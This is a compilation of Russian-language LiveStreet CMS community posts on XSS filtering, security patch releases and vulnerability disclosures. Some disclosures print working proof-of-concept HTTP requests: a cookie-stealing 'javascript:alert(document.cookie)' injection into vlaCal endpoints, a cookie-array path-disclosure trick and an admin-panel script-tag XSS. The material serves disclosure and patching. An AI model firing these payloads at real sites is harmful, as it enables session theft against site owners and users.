Фильтрация входящих данных в LS 1.0.3

Доброго времени суток всем пользователям LS. С недавних пор начал разработку на данной CMS, естественно один из первых вопросов как обстоит дело с фильтрацией входящих данных, особенно XSS.

1.) Вот есть у меня объект сущности, в нем геттеры и сеттеры данных, получается все данные фильтровать нужно в них? Т.е:

public function setText($sText)
{
    $this->_aData['text'] = strip_tags($sText);
}


2.) Второй вариант использование модуля Parser и метода Text, он вырезает теги <script, в принципе все отлично но он автоматически обрабатывает теги вроде <strong, можно как то отключить обработку всех тегов и только очищать текст от XSS?

3.) Другие способы фильтрации в LS о которых не говорят в слух?

Релиз LiveStreet 1.0.3

Сообщаем о выходе новой версии LS 1.0.3. Версия носит багфиксный характер.
Были закрыты две XSS уязвимости(спасибо HiMiC и PSNet ) и исправлено раскрытие директории в сессиях(еще раз спасибо PSNet ).

Обновленный дистрибутив уже доступен для загрузки — livestreetcms.ru/download/
Для закрытия этих багов для версий 1.0.2, 0.5.1 и 0.4.2 достаточно скачать этот патч и залить его поверх вашей версии LS.

Важное замечание! Настоятельно рекомендуем обновиться с версий 0.5 и 0.4 до актуальной 1.0.3. Т.к. помимо исправлений этого патча старые версии содержать множество других бед, в том числе и потенциальные уязвимости.

Изменения коснулись 4-х файлов:
config/jevix.php
engine/lib/external/Jevix/jevix.class.php
engine/lib/external/swfupload/swfupload.swf
engine/modules/session/Session.class.php

Подробнее можно посмотреть на гитхабе — github.com/livestreet/livestreet/commit/83c15587388dec02f8b97eac8a0d809a3233702c

История одной пятницы... в картинках

Всё началось с того, что захотелось найти XXE (XML eXternal Entity).
Атака заключается в том, что парсер небезопасно разрешает XML-сущности(entity) определённые клиентом. Данную уязвимость можно использовать как для XSS, чтения базы данных(SQL-inject), обхода аутентификации, чтения произвольных фаилов в системе(/etc/passwwd) или запрос внешнего ресурса по URI (протоколы ftp http https, функциями php и другими).

Пояснение:
символ (плюс) + в urlencode = %2B
символ (слеш) / в urlencode = %2F
символ (обратный слеш) \ в urlencode = %5C

Глаза пали на RSS. Открываем то, что генерирует XML:

Читать дальше →

LiveStreet CMS - Cross Site Scripting, раскрытие директории

Cross Site Scripting

/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/decade.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=8223940c4012g3bbcffe59d6f2b7637g; _metrika_enabled=
Host: blog.himic.ru
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22


/engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php
POST /engine/lib/external/MooTools_1.2/plugs/vlaCal-v2.1/inc/year.php HTTP/1.1
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bf1cae225f719d74d2086cg0a9394ad1
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

ts=%22%20BACKGROUND%3djavascript:alert%28document.cookie%29%20bad%3d%22


Раскрытие директории:

Ошибка происходит из-за переменной key в Cookies, при создании её как массива key[] вылазит ошибка
GET /index.php HTTP/1.1
Cookie: PHPSESSID=8223940c401233bgcffe59d6f2b7637d; key[]=8223940c401233bbcffe59d6f2b7637g; _metrika_enabled=
Host: SITEHOST.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*



Раскрытие:
/home/webmaster/www/SITEHOST.com/www/classes/modules/user/mapper/User.mapper.class.php line 71


PS: blog.himic.ru/blog/security/162.html

UPD1: исправлено github.com/livestreet/livestreet/commit/a5b7cd5979a9a20fe100a5cd1a748603b1159680

Фикс безопасности в LiveStreet 0.5.1

В LiveStreet 0.5.1 в js библиотеке prettyPhoto обнаружена уязвимость XSS.

Варианты исправления:


Настоятельно требуем выполнить обновление.

Фикс безопасности в LiveStreet 0.5.1

Новый Год не всегда приносит радостные эмоции и отличные подарки, иногда сюрпризы более мрачные.
В LiveStreet 0.5.1 в фото-сетах обнаружена XSS уязвимость.

Патч, исправляющий баг, здесь — github.com/livestreet/livestreet/commit/c5b8e20d0ec380c2f2222fa266261d22dc36f926
Либо можно просто повторно скачать архив с LS от сюда — livestreetcms.com/download/ (архив обновлен)

Настоятельно рекомендуем требуем выполнить обновление.

Закрытие security бага в LS

Здравствуйте!

Уведомляем вас о закрытии в LiveStreet 0.4.2 уязвимости XSS.
Уязвимость была обнаружена в сторонней библиотеке CSSTidy, используемой в LS.
Для исправления этой уязвимости вы можете скачать обновленный архив LiveStreet 0.4.2 — http://livestreetcms.com/download/
Либо просто вручную удалите у себя файл /engine/lib/external/CSSTidy-1.3/css_optimiser.php.

Мы настоятельно рекомендуем вам выполнить эти действия.
Спасибо за понимание.

UPDATE
Это приложение к первому письму, в котором мы, к сожалению, упустили еще один важный баг безопасности.
Для исправления этой уязвимости вы можете скачать обновленный архив LiveStreet 0.4.2 — http://livestreetcms.com/download/
Либо внесите изменения вручную:
1. Найдите в файле /engine/modules/text/Text.class.php 213 строчку: return array($sTextShort,$sTextNew,$sTextCut);
2. Замените её на строчку: return array($sTextShort,$sTextNew,$sTextCut? htmlspecialchars($sTextCut): null);
Изменения можно посмотреть в SVN.

XSS уязвимость в модуле Админпанель < 1.2

Данная уязвимость работает в модуле Админпанель 1.2, вкладка Пользователи -> Список.
Справа от списка пользователей предлагается отправить письмо (новое или выбрать из старых).
В старых javascript в темах сообщений никак не фильтруется.

Например

	<select name="talk_inbox_list" id="talk_inbox_list" onchange="AdminMessageSelect();">
		<option value="0">-- Новое письмо --</option>
		<option value="1">test <script>alert('1')</script></option>
	</select>

Безопастность - превыше всего

Только что прочитал интересную статью, которая натолкнула меня на одну важную мысль: фиг с ними, с дополнениями и усовершенствованиями, если в движке вдруг будут найдены уязвимости. Предлагаю знающим людям потестить Livestreet на SQL-инъекции и XSS c CSRF. Ибо, в первую очередь надо закрывать подобные баги, а потом уже двигаться вперёд, стараясь не плодить новых уязвимостей.

Я ещё не искал «дырки» в коде, этот пост скорее превентивный, дабы, не дай Бог, не повторять эксплеевские ошибки. Кстати, Ort, ты обращал внимание на защиту движка от уязвимостей?